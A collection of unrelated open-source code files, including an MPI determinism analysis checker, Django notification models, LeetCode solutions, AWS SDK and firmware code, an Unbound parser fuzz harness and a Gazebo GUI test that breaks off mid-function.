/// For this code to determine if the analysis was correct, the target
/// code must define three int variables:
/// - SOURCE_DETERMINISM: whether the program always tells MPI exactly
/// where messages are coming from
/// - TAG_DETERMINISM: whether the program always tells MPI exactly
/// what tags to expect
/// - FUNCTION_DETERMINISM: whether the program avoids use of
/// non-determinism via checking for a subset of outstanding
/// requests (e.g. MPI_Waitany)
/// If the code is deterministic in a given respect, the variable
/// should be set to 1. Otherwise, it should be set to 0.
#include "MpiDeterminismAnalysis.h"
#include <iostream>
#include <Sawyer/Assert.h>
using std::cerr;
using std::cout;
using std::endl;
DeterminismState getExpectation(SgNode *ast, const char *varName)
{
SgName name(varName);
Rose_STL_Container<SgNode*> sdNodes = NodeQuery::querySubTree(ast, &name, NodeQuery::VariableDeclarationFromName);
if (sdNodes.size() != 1) {
cerr << "Didn't find target variable " << varName << " in list of size " << sdNodes.size() << endl;
for (Rose_STL_Container<SgNode*>::iterator i = sdNodes.begin(); i != sdNodes.end(); ++i)
cerr << "\t" << (*(isSgVariableDeclaration(*i)->get_variables().begin()))->get_name().str() << endl;
return QUESTIONABLE;
}
SgNode *nSd = *(sdNodes.begin());
SgVariableDeclaration *vdSd = dynamic_cast<SgVariableDeclaration *>(nSd);
if (!vdSd) {
cerr << "Node wasn't a variable declaration" << endl;
return QUESTIONABLE;
}
SgInitializedName *inSd = vdSd->get_decl_item(name);
SgAssignInitializer *aiSd = dynamic_cast<SgAssignInitializer*>(inSd->get_initializer());
if (!aiSd) {
cerr << "Couldn't pull an assignment initializer out" << endl;
return QUESTIONABLE;
}
SgIntVal *ivSd = dynamic_cast<SgIntVal*>(aiSd->get_operand());
if (!ivSd) {
cerr << "Assignment wasn't an intval" << endl;
return QUESTIONABLE;
}
int value = ivSd->get_value();
return value ? DETERMINISTIC : NONDETERMINISTIC;
}
const char* strFromDet(DeterminismState d)
{
switch (d) {
case DETERMINISTIC: return "deterministic";
case QUESTIONABLE: return "unclear";
case NONDETERMINISTIC: return "NONdeterminisitic";
}
ASSERT_not_reachable("unhandled DeterminismState");
}
void report(DeterminismState actual, DeterminismState expected, const char *kind, int &incorrect, int &imprecise)
{
cout << "\t" << strFromDet(actual) << " (expected " << strFromDet(expected) << ") with respect to receive " << kind << endl;
if (QUESTIONABLE == actual && QUESTIONABLE != expected)
imprecise++;
else if (actual != expected)
incorrect++;
}
int main(int argc, char **argv)
{
SgProject *project = frontend(argc, argv);
// Check that the mpi.h included by the program is the hacked
// version that defines all the constants as int variables, and not
// as macros
SgName hacked("MPI_HACKED_HEADER_INCLUDED");
Rose_STL_Container<SgNode*> vars = NodeQuery::querySubTree(project, &hacked, NodeQuery::VariableDeclarationFromName);
if (vars.size() != 1) {
cerr << "You must be using the hacked mpi.h that defines things nicely for this to work!" << endl;
return 10;
}
// ConstantPropagationAnalysis cp;
MpiDeterminismAnalysis a;
MpiDeterminism d = a.traverse(project);
DeterminismState sourceExpectation = getExpectation(project, "SOURCE_DETERMINISM");
DeterminismState tagExpectation = getExpectation(project, "TAG_DETERMINISM");
DeterminismState functionExpectation = getExpectation(project, "FUNCTION_DETERMINISM");
int incorrect = 0, imprecise = 0;
cout << "Analysis finds that this program is" << endl;
report(d.source, sourceExpectation, "sources", incorrect, imprecise);
report(d.tag, tagExpectation, "tags", incorrect, imprecise);
report(d.functions, functionExpectation, "functions", incorrect, imprecise);
cout << "Analysis was precise in " << 3 - incorrect - imprecise
<< " cases, imprecise in " << imprecise
<< " cases, and WRONG in " << incorrect << " cases." << endl;
delete project;
return incorrect;
}
| 1,513 |
787 | <reponame>mlouward/rust
{
"blurb": "Functions are fundamental units of code abstraction.",
"authors": [
"bobahop"
],
"contributors": []
}
| 58 |
782 | // Copyright (c) 2017-2020 Intel Corporation
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
#ifndef mfx_tracer_TEST_FIXTURES_H
#define mfx_tracer_TEST_FIXTURES_H
#include "mfx_tracer_test_main.h"
#include <gtest/gtest.h>
#include <map>
#include <list>
#include <mfxvideo.h>
class TracerLibsTest : public ::testing::Test
{
public:
TracerLibsTest()
{
ResetMockCallObj();
}
virtual ~TracerLibsTest()
{
g_call_obj_ptr.reset(nullptr);
}
protected:
mfxIMPL impl = 0;
mfxVersion ver{};
mfxSession session = NULL;
mfxInitParam par;
};
class TracerLibsTestParametrizedImpl : public TracerLibsTest, public ::testing::WithParamInterface<std::tuple<mfxIMPL, mfxI32>>
{
};
class TracerLibsTestParametrizedFunc : public TracerLibsTest, public ::testing::WithParamInterface<mfxI32>
{
};
#endif /* mfx_tracer_TEST_FIXTURES_H */
| 622 |
345 | <filename>djangoerp/notifications/models.py
#!/usr/bin/env python
"""This file is part of the django ERP project.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
"""
__author__ = '<NAME> <<EMAIL>>'
__copyright__ = 'Copyright (c) 2013-2015, django ERP Team'
__version__ = '0.0.5'
import hashlib, json
from datetime import datetime
from django.db import models
from django.utils.translation import ugettext_lazy as _
from django.urls import reverse
from django.core.exceptions import ValidationError
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.template.loader import render_to_string
from djangoerp.core.models import validate_json
from djangoerp.core.utils.rendering import field_to_string
from .managers import *
class FollowRelation(models.Model):
"""It represents a relation model between a watcher and a watched object.
"""
followed_content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE, related_name="+")
followed_id = models.PositiveIntegerField()
followed = GenericForeignKey('followed_content_type', 'followed_id')
follower_content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE, related_name="+")
follower_id = models.PositiveIntegerField()
follower = GenericForeignKey('follower_content_type', 'follower_id')
objects = FollowRelationManager()
class Meta:
verbose_name = _('follow relation')
verbose_name_plural = _('follow relations')
def __str__(self):
return _("%s followed by %s") % (self.followed, self.follower)
class Signature(models.Model):
"""It represents the identifier of an activity and/or a notification.
"""
title = models.CharField(_('title'), max_length=100)
slug = models.SlugField(_('slug'), max_length=100, unique=True)
class Meta:
verbose_name = _('signature')
verbose_name_plural = _('signatures')
def __str__(self):
return self.title
def save(self, *args, **kwargs):
if self.slug and not self.title:
from django.forms.boundfield import BoundField
from django.forms.utils import pretty_name
self.title = pretty_name(self.slug).replace("-", " ").capitalize()
super(Signature, self).save(*args, **kwargs)
class Subscription(models.Model):
"""A Subscription allows a per-signature-based filtering of notifications.
"""
subscriber_content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE, related_name="+")
subscriber_id = models.PositiveIntegerField()
subscriber = GenericForeignKey('subscriber_content_type', 'subscriber_id')
signature = models.ForeignKey(Signature, on_delete=models.CASCADE)
send_email = models.BooleanField(default=True, verbose_name=_('send email'))
email = models.EmailField(null=True, blank=True, verbose_name=_('email'))
objects = SubscriptionManager()
class Meta:
verbose_name = _('subscription')
verbose_name_plural = _('subscriptions')
def __str__(self):
return "%s | %s" % (self.subscriber, self.signature)
class Activity(models.Model):
"""An activity is a registered event that happens at a specific time.
It can be notified by many notifications to many watcher objects.
"""
title = models.CharField(_('title'), max_length=200)
signature = models.CharField(_('signature'), max_length=50)
template = models.CharField(_('template'), blank=True, null=True, max_length=200, default=None)
context = models.TextField(_('context'), blank=True, null=True, validators=[validate_json], help_text=_('Use the JSON syntax.'))
created = models.DateTimeField(auto_now_add=True, verbose_name=_('created'))
backlink = models.CharField(_('backlink'), blank=True, null=True, max_length=200)
source_content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE, related_name="+")
source_id = models.PositiveIntegerField()
source = GenericForeignKey('source_content_type', 'source_id')
objects = ActivityManager()
class Meta:
verbose_name = _('activity')
verbose_name_plural = _('activities')
ordering = ('-created',)
def __str__(self):
try:
return self.title % self.get_context()
except KeyError:
return self.title
def get_context(self):
return json.loads(str(self.context or "{}"))
def get_template_name(self):
return self.template or "notifications/activities/%s.html" % self.signature
def get_content(self):
from django.template import TemplateDoesNotExist
try:
return render_to_string(self.get_template_name(), self.get_context())
except: # Catching all exceptions avoid any rendering issue.
return ""
def get_absolute_url(self):
return self.backlink or ""
class Notification(models.Model):
"""A notification notifies a specific event to a specific target.
"""
title = models.CharField(max_length=100, verbose_name=_('title'))
description = models.TextField(blank=True, null=True, verbose_name=_('description'))
target_content_type = models.ForeignKey(ContentType, on_delete=models.CASCADE, related_name="+")
target_id = models.PositiveIntegerField()
target = GenericForeignKey('target_content_type', 'target_id')
signature = models.ForeignKey(Signature, on_delete=models.CASCADE, verbose_name=_('signature'))
created = models.DateTimeField(auto_now_add=True, verbose_name=_('created on'))
read = models.DateTimeField(blank=True, null=True, verbose_name=_('read on'))
dispatch_uid = models.CharField(max_length=32, verbose_name=_('dispatch UID'))
objects = NotificationManager()
class Meta:
verbose_name = _('notification')
verbose_name_plural = _('notifications')
ordering = ('-created', 'id')
get_latest_by = '-created'
unique_together = (
("target_content_type", "target_id", "dispatch_uid"),
)
index_together = (
("target_content_type", "target_id", "dispatch_uid"),
)
def __str__(self):
return self.title
def get_absolute_url(self):
return reverse('notification_detail', kwargs={"object_model": self.target._meta.verbose_name_plural, "object_id": self.target.pk, "pk": self.pk})
def get_delete_url(self):
return reverse('notification_delete', kwargs={"object_model": self.target._meta.verbose_name_plural, "object_id": self.target.pk, "pk": self.pk})
def clean_fields(self, exclude=None):
if not self.dispatch_uid:
token = "%s%s%s" % (self.title, self.description, datetime.now())
self.dispatch_uid = hashlib.md5(token.encode('utf-8')).hexdigest()
"""if not Subscription.objects.filter(subscriber=self.target, signature=self.signature):
raise ValidationError('The target is not subscribed for this kind of notification.')"""
super(Notification, self).clean_fields(exclude)
def save(self, *args, **kwargs):
self.full_clean()
super(Notification, self).save(*args, **kwargs)
class Observable(object):
"""Mix-in that sends a special signal when a field is changed.
It also offers a simple API to manage followers.
"""
__change_exclude = []
__subscriber_fields = []
def __init__(self, *args, **kwargs):
super(Observable, self).__init__(*args, **kwargs)
self.__changes = {}
self.__field_cache = dict([(f.attname, f) for f in (self._meta.fields)])
self.__followers_cache = None
def __setattr__(self, name, value):
try:
if self.pk and name in self.__field_cache:
field = self.__field_cache[name]
label = "%s" % field.verbose_name
if name not in self.__change_exclude:
old_value = field_to_string(field, self)
if label in self.__changes:
old_value = self.__changes[label][0]
super(Observable, self).__setattr__(name, value)
value = field_to_string(field, self)
if value != old_value:
self.__changes[label] = ("%s" % old_value, "%s" % value)
return
except:
pass
super(Observable, self).__setattr__(name, value)
def followers(self):
"""Returns the list of the current followers.
"""
if self.__followers_cache:
return self.__followers_cache
return [r.follower for r in FollowRelation.objects.filter(followed=self)]
def is_followed_by(self, followers):
"""Checks if all given instances are followers of this object.
"""
if not isinstance(followers, (tuple, list)):
followers = [followers]
cache_followers = self.followers()
for follower in followers:
found = False
for cache_follower in cache_followers:
if follower == cache_follower:
found = True
if not found:
return False
return True
def add_followers(self, followers):
"""Registers the given followers.
"""
if not isinstance(followers, (tuple, list)):
followers = [followers]
for f in followers:
if isinstance(f, models.Model):
FollowRelation.objects.get_or_create(follower=f, followed=self)
def remove_followers(self, followers):
"""Unregisters the given followers.
"""
if not isinstance(followers, (tuple, list)):
followers = [followers]
for f in followers:
if isinstance(f, models.Model):
FollowRelation.objects.filter(follower=f, followed=self).delete()
class NotificationTarget(object):
"""Mix-in that adds some useful methods to retrieve related notifications.
"""
def _notification_set(self):
return Notification.objects.for_object(self)
notification_set = property(_notification_set)
| 4,233 |
994 | package name.caiyao.microreader.presenter;
/**
* Created by 蔡小木 on 2016/4/22 0022.
*/
public interface IWeixinPresenter extends BasePresenter{
void getWeixinNews(int page);
void getWeixinNewsFromCache(int page);
}
| 86 |
854 | __________________________________________________________________________________________________
sample 44 ms submission
class Solution:
def nextGreaterElement(self, nums1: List[int], nums2: List[int]) -> List[int]:
stk=[]
d=dict()
for num in nums2:
while len(stk)>0 and num>stk[-1]:
top = stk[-1]
d[top] = num
stk.pop()
stk.append(num)
ans=[]
for num in nums1:
if num not in d: ans.append(-1)
else: ans.append(d[num])
return ans
__________________________________________________________________________________________________
sample 12976 kb submission
#
# @lc app=leetcode id=496 lang=python3
#
# [496] Next Greater Element I
#
class Solution:
def nextGreaterElement(self, nums1: List[int], nums2: List[int]) -> List[int]:
result = []
for n in nums1:
find_greater = False
ind = nums2.index(n)
for right_n in nums2[ind+1:]:
if right_n > n:
result.append(right_n)
find_greater = True
break
if not find_greater:
result.append(-1)
return result
__________________________________________________________________________________________________
| 610 |
381 | <reponame>cmeier76/JGiven<gh_stars>100-1000
package com.tngtech.jgiven.examples.userguide;
import com.tngtech.jgiven.annotation.ExtendedDescription;
import com.tngtech.jgiven.annotation.Hidden;
public class RocketMethods {
private RocketSimulator rocketSimulator;
private boolean rocketLaunched;
private String rocketName;
private String rocketDescription;
// tag::rocketSetup[]
public void setup_rocket(@Hidden String rocketName, @Hidden String rocketDescription) {
this.rocketName = rocketName;
this.rocketDescription = rocketDescription;
}
// end::rocketSetup[]
public void rocket_is_setup() {
assert (!rocketName.isEmpty() && !rocketDescription.isEmpty());
}
// tag::hiddenRocket[]
@Hidden
public void prepareRocketSimulator() {
rocketSimulator = createRocketSimulator();
}
// end::hiddenRocket[]
private RocketSimulator createRocketSimulator() {
return new RocketSimulator();
}
// tag::rocketDesc[]
@ExtendedDescription("Actually uses a rocket simulator")
public RocketMethods launch_rocket() {
rocketLaunched = rocketSimulator.launchRocket();
return this;
}
// end::rocketDesc[]
public void rocket_is_launched() {
assert (rocketLaunched);
}
}
| 452 |
1,408 | /*
* Copyright (C) 2018 Marvell International Ltd.
*
* SPDX-License-Identifier: BSD-3-Clause
* https://spdx.org/licenses
*/
#include <plat_marvell.h>
/* The power domain tree descriptor */
unsigned char marvell_power_domain_tree_desc[PLAT_MARVELL_CLUSTER_COUNT + 1];
/*****************************************************************************
* This function dynamically constructs the topology according to
* PLAT_MARVELL_CLUSTER_COUNT and returns it.
*****************************************************************************
*/
const unsigned char *plat_get_power_domain_tree_desc(void)
{
int i;
/*
* The power domain tree does not have a single system level power
* domain i.e. a single root node. The first entry in the power domain
* descriptor specifies the number of power domains at the highest power
* level.
* For Marvell Platform this is the number of cluster power domains.
*/
marvell_power_domain_tree_desc[0] = PLAT_MARVELL_CLUSTER_COUNT;
for (i = 0; i < PLAT_MARVELL_CLUSTER_COUNT; i++)
marvell_power_domain_tree_desc[i + 1] =
PLAT_MARVELL_CLUSTER_CORE_COUNT;
return marvell_power_domain_tree_desc;
}
/*****************************************************************************
* This function validates an MPIDR by checking whether it falls within the
* acceptable bounds. An error code (-1) is returned if an incorrect mpidr
* is passed.
*****************************************************************************
*/
int marvell_check_mpidr(u_register_t mpidr)
{
unsigned int nb_id, cluster_id, cpu_id;
mpidr &= MPIDR_AFFINITY_MASK;
if (mpidr & ~(MPIDR_CLUSTER_MASK | MPIDR_CPU_MASK |
MPIDR_AFFLVL_MASK << MPIDR_AFF2_SHIFT))
return -1;
/* Get north bridge ID */
nb_id = MPIDR_AFFLVL3_VAL(mpidr);
cluster_id = MPIDR_AFFLVL1_VAL(mpidr);
cpu_id = MPIDR_AFFLVL0_VAL(mpidr);
if (nb_id >= PLAT_MARVELL_CLUSTER_COUNT)
return -1;
if (cluster_id >= PLAT_MARVELL_CLUSTER_COUNT)
return -1;
if (cpu_id >= PLAT_MARVELL_CLUSTER_CORE_COUNT)
return -1;
return 0;
}
/*****************************************************************************
* This function implements a part of the critical interface between the PSCI
* generic layer and the platform that allows the former to query the platform
* to convert an MPIDR to a unique linear index. An error code (-1) is returned
* in case the MPIDR is invalid.
*****************************************************************************
*/
int plat_core_pos_by_mpidr(u_register_t mpidr)
{
if (marvell_check_mpidr(mpidr) == -1)
return -1;
return plat_marvell_calc_core_pos(mpidr);
}
| 862 |
3,372 | <filename>aws-java-sdk-config/src/main/java/com/amazonaws/services/config/model/RemediationParameterValue.java
/*
* Copyright 2016-2021 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions
* and limitations under the License.
*/
package com.amazonaws.services.config.model;
import java.io.Serializable;
import javax.annotation.Generated;
import com.amazonaws.protocol.StructuredPojo;
import com.amazonaws.protocol.ProtocolMarshaller;
/**
* <p>
* The value is either a dynamic (resource) value or a static value. You must select either a dynamic value or a static
* value.
* </p>
*
* @see <a href="http://docs.aws.amazon.com/goto/WebAPI/config-2014-11-12/RemediationParameterValue" target="_top">AWS
* API Documentation</a>
*/
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class RemediationParameterValue implements Serializable, Cloneable, StructuredPojo {
/**
* <p>
* The value is dynamic and changes at run-time.
* </p>
*/
private ResourceValue resourceValue;
/**
* <p>
* The value is static and does not change at run-time.
* </p>
*/
private StaticValue staticValue;
/**
* <p>
* The value is dynamic and changes at run-time.
* </p>
*
* @param resourceValue
* The value is dynamic and changes at run-time.
*/
public void setResourceValue(ResourceValue resourceValue) {
this.resourceValue = resourceValue;
}
/**
* <p>
* The value is dynamic and changes at run-time.
* </p>
*
* @return The value is dynamic and changes at run-time.
*/
public ResourceValue getResourceValue() {
return this.resourceValue;
}
/**
* <p>
* The value is dynamic and changes at run-time.
* </p>
*
* @param resourceValue
* The value is dynamic and changes at run-time.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public RemediationParameterValue withResourceValue(ResourceValue resourceValue) {
setResourceValue(resourceValue);
return this;
}
/**
* <p>
* The value is static and does not change at run-time.
* </p>
*
* @param staticValue
* The value is static and does not change at run-time.
*/
public void setStaticValue(StaticValue staticValue) {
this.staticValue = staticValue;
}
/**
* <p>
* The value is static and does not change at run-time.
* </p>
*
* @return The value is static and does not change at run-time.
*/
public StaticValue getStaticValue() {
return this.staticValue;
}
/**
* <p>
* The value is static and does not change at run-time.
* </p>
*
* @param staticValue
* The value is static and does not change at run-time.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public RemediationParameterValue withStaticValue(StaticValue staticValue) {
setStaticValue(staticValue);
return this;
}
/**
* Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be
* redacted from this string using a placeholder value.
*
* @return A string representation of this object.
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("{");
if (getResourceValue() != null)
sb.append("ResourceValue: ").append(getResourceValue()).append(",");
if (getStaticValue() != null)
sb.append("StaticValue: ").append(getStaticValue());
sb.append("}");
return sb.toString();
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (obj instanceof RemediationParameterValue == false)
return false;
RemediationParameterValue other = (RemediationParameterValue) obj;
if (other.getResourceValue() == null ^ this.getResourceValue() == null)
return false;
if (other.getResourceValue() != null && other.getResourceValue().equals(this.getResourceValue()) == false)
return false;
if (other.getStaticValue() == null ^ this.getStaticValue() == null)
return false;
if (other.getStaticValue() != null && other.getStaticValue().equals(this.getStaticValue()) == false)
return false;
return true;
}
@Override
public int hashCode() {
final int prime = 31;
int hashCode = 1;
hashCode = prime * hashCode + ((getResourceValue() == null) ? 0 : getResourceValue().hashCode());
hashCode = prime * hashCode + ((getStaticValue() == null) ? 0 : getStaticValue().hashCode());
return hashCode;
}
@Override
public RemediationParameterValue clone() {
try {
return (RemediationParameterValue) super.clone();
} catch (CloneNotSupportedException e) {
throw new IllegalStateException("Got a CloneNotSupportedException from Object.clone() " + "even though we're Cloneable!", e);
}
}
@com.amazonaws.annotation.SdkInternalApi
@Override
public void marshall(ProtocolMarshaller protocolMarshaller) {
com.amazonaws.services.config.model.transform.RemediationParameterValueMarshaller.getInstance().marshall(this, protocolMarshaller);
}
}
| 2,271 |
7,629 | #include "config.h"
#include "sldns/sbuffer.h"
#include "sldns/wire2str.h"
#include "sldns/str2wire.h"
#include "util/data/dname.h"
#define SZ 1000
#define SZ2 100
int LLVMFuzzerTestOneInput(const uint8_t *buf, size_t nr) {
char *bin = malloc(nr);
uint8_t *bout;
size_t len, len2;
memset(bin, 0, nr);
memcpy(bin, buf, nr);
if (nr > 2) {
bin[nr-1] = 0x00; // null terminate
len = bin[0] & 0xff; // want random sized output buf
bout = malloc(len);
nr--;
bin++;
// call the targets
len2 = len; sldns_str2wire_dname_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_int8_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_int16_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_int32_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_a_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_aaaa_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_str_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_apl_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_b64_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_b32_ext_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_hex_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_nsec_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_type_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_class_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_cert_alg_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_alg_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_tsigerror_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_time_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_tsigtime_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_period_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_loc_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_wks_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_nsap_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_atma_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_ipseckey_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_nsec3_salt_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_ilnp64_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_eui48_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_eui64_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_tag_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_long_str_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_hip_buf(bin, bout, &len2);
len2 = len; sldns_str2wire_int16_data_buf(bin, bout, &len2);
bin--;
free(bout);
}
out:
free(bin);
}
| 1,271 |
7,482 | <filename>bsp/m16c62p/drivers/uart.h
#ifndef __UART_H__
#define __UART_H__
#define BAUD_RATE 9600
void rt_hw_uart_init(void);
#endif
| 66 |
634 | <filename>modules/web/web-platform-impl/src/main/java/consulo/web/wm/impl/status/WebInfoAndProgressPanel.java
package consulo.web.wm.impl.status;
import com.intellij.openapi.wm.CustomStatusBarWidget;
import com.intellij.openapi.wm.StatusBar;
import consulo.localize.LocalizeValue;
import consulo.ui.Component;
import consulo.ui.Label;
import consulo.ui.annotation.RequiredUIAccess;
import consulo.ui.layout.DockLayout;
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
/**
* @author VISTALL
* @since 16/08/2021
*/
public class WebInfoAndProgressPanel implements CustomStatusBarWidget {
private DockLayout myLayout;
private Label myStatusLabel;
@RequiredUIAccess
public WebInfoAndProgressPanel() {
myLayout = DockLayout.create();
myStatusLabel = Label.create();
myLayout.left(myStatusLabel);
}
@RequiredUIAccess
public void setStatusText(String text) {
myStatusLabel.setText(LocalizeValue.of(text));
}
@Nonnull
@Override
public String ID() {
return "InfoAndProgressPanel";
}
@Nullable
@Override
public WidgetPresentation getPresentation() {
return null;
}
@Override
public void install(@Nonnull StatusBar statusBar) {
}
@Override
public void dispose() {
}
@Nullable
@Override
public Component getUIComponent() {
return myLayout;
}
@Override
public boolean isUnified() {
return true;
}
}
| 472 |
777 | <gh_stars>100-1000
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.components.signin.test.util;
import org.chromium.base.Callback;
/**
* A simple tool to make waiting for the result of an asynchronous operation easy.
*
* This class is thread-safe; the result can be provided and retrieved on any thread.
*
* Example usage:
*
* final SimpleFuture<Integer> future = new SimpleFuture<Integer>();
* getValueAsynchronously(new Callback<Integer>() {
* public void onResult(Integer result) {
* // Do some other work...
* future.provide(result);
* }
* }
* int value = future.get();
*
* Or, if your callback doesn't need to do anything but provide the value:
*
* SimpleFuture<Integer> result = new SimpleFuture<Integer>();
* getValueAsynchronously(result.createCallback());
* int value = result.get();
*
* @param <V> The type of the value this future will return.
*/
public class SimpleFuture<V> {
private static final int GET_TIMEOUT_MS = 10000;
private final Object mLock = new Object();
private boolean mHasResult = false;
private V mResult;
/**
* Provide the result value of this future for get() to return.
*
* Any calls after the first are ignored.
*/
public void provide(V result) {
synchronized (mLock) {
if (mHasResult) {
// You can only provide a result once.
return;
}
mHasResult = true;
mResult = result;
mLock.notifyAll();
}
}
/**
* Get the value of this future, or block until it's available.
*/
public V get() throws InterruptedException {
synchronized (mLock) {
while (!mHasResult) {
mLock.wait(GET_TIMEOUT_MS);
}
return mResult;
}
}
/**
* Helper function to create a {@link Callback} that will provide its result.
*/
public Callback<V> createCallback() {
return new Callback<V>() {
@Override
public void onResult(V result) {
provide(result);
}
};
}
}
| 922 |
4,772 | package example.repo;
import example.model.Customer1838;
import java.util.List;
import org.springframework.data.repository.CrudRepository;
public interface Customer1838Repository extends CrudRepository<Customer1838, Long> {
List<Customer1838> findByLastName(String lastName);
}
| 87 |
887 | <filename>gazebo/gui/ModelManipulator_TEST.cc
/*
* Copyright (C) 2016 Open Source Robotics Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include "gazebo/gui/MainWindow.hh"
#include "gazebo/gui/ModelManipulator.hh"
#include "gazebo/rendering/RenderEvents.hh"
#include "gazebo/rendering/RenderTypes.hh"
#include "gazebo/gui/ModelManipulator_TEST.hh"
#include "test_config.h"
/////////////////////////////////////////////////
void ModelManipulator_TEST::Attach()
{
this->resMaxPercentChange = 5.0;
this->shareMaxPercentChange = 2.0;
this->Load("worlds/empty.world", false, false, false);
// Create the main window.
gazebo::gui::MainWindow *mainWindow = new gazebo::gui::MainWindow();
QVERIFY(mainWindow != nullptr);
mainWindow->Load();
mainWindow->Init();
mainWindow->show();
this->ProcessEventsAndDraw(mainWindow);
gazebo::rendering::ScenePtr scene;
scene = gazebo::rendering::get_scene("default");
QVERIFY(scene != nullptr);
gazebo::rendering::VisualPtr vis1;
vis1.reset(new gazebo::rendering::Visual("vis1", scene->WorldVisual()));
vis1->Load();
gazebo::rendering::VisualPtr vis2;
vis2.reset(new gazebo::rendering::Visual("vis2", scene->WorldVisual()));
vis2->Load();
// initialize the model manipulator
gazebo::gui::ModelManipulator::Instance()->Init();
// attach to visual and verify the visual has one extra child
QCOMPARE(vis1->GetChildCount(), 0u);
gazebo::gui::ModelManipulator::Instance()->SetAttachedVisual(vis1);
QCOMPARE(vis1->GetChildCount(), 1u);
// detach and verify the child is gone
gazebo::gui::ModelManipulator::Instance()->Detach();
QCOMPARE(vis1->GetChildCount(), 0u);
// attach again to different visual
QCOMPARE(vis2->GetChildCount(), 0u);
gazebo::gui::ModelManipulator::Instance()->SetAttachedVisual(vis2);
QCOMPARE(vis2->GetChildCount(), 1u);
// attach to another visual without explicitly detaching
gazebo::gui::ModelManipulator::Instance()->SetAttachedVisual(vis1);
QCOMPARE(vis1->GetChildCount(), 1u);
QCOMPARE(vis2->GetChildCount(), 0u);
// remove vis1 while model manipulator is attached.
scene->RemoveVisual(vis1);
vis1.reset();
QVERIFY(scene->GetVisual("vis1") == nullptr);
// verify we can still attach to vis2
gazebo::gui::ModelManipulator::Instance()->SetAttachedVisual(vis2);
QCOMPARE(vis2->GetChildCount(), 1u);
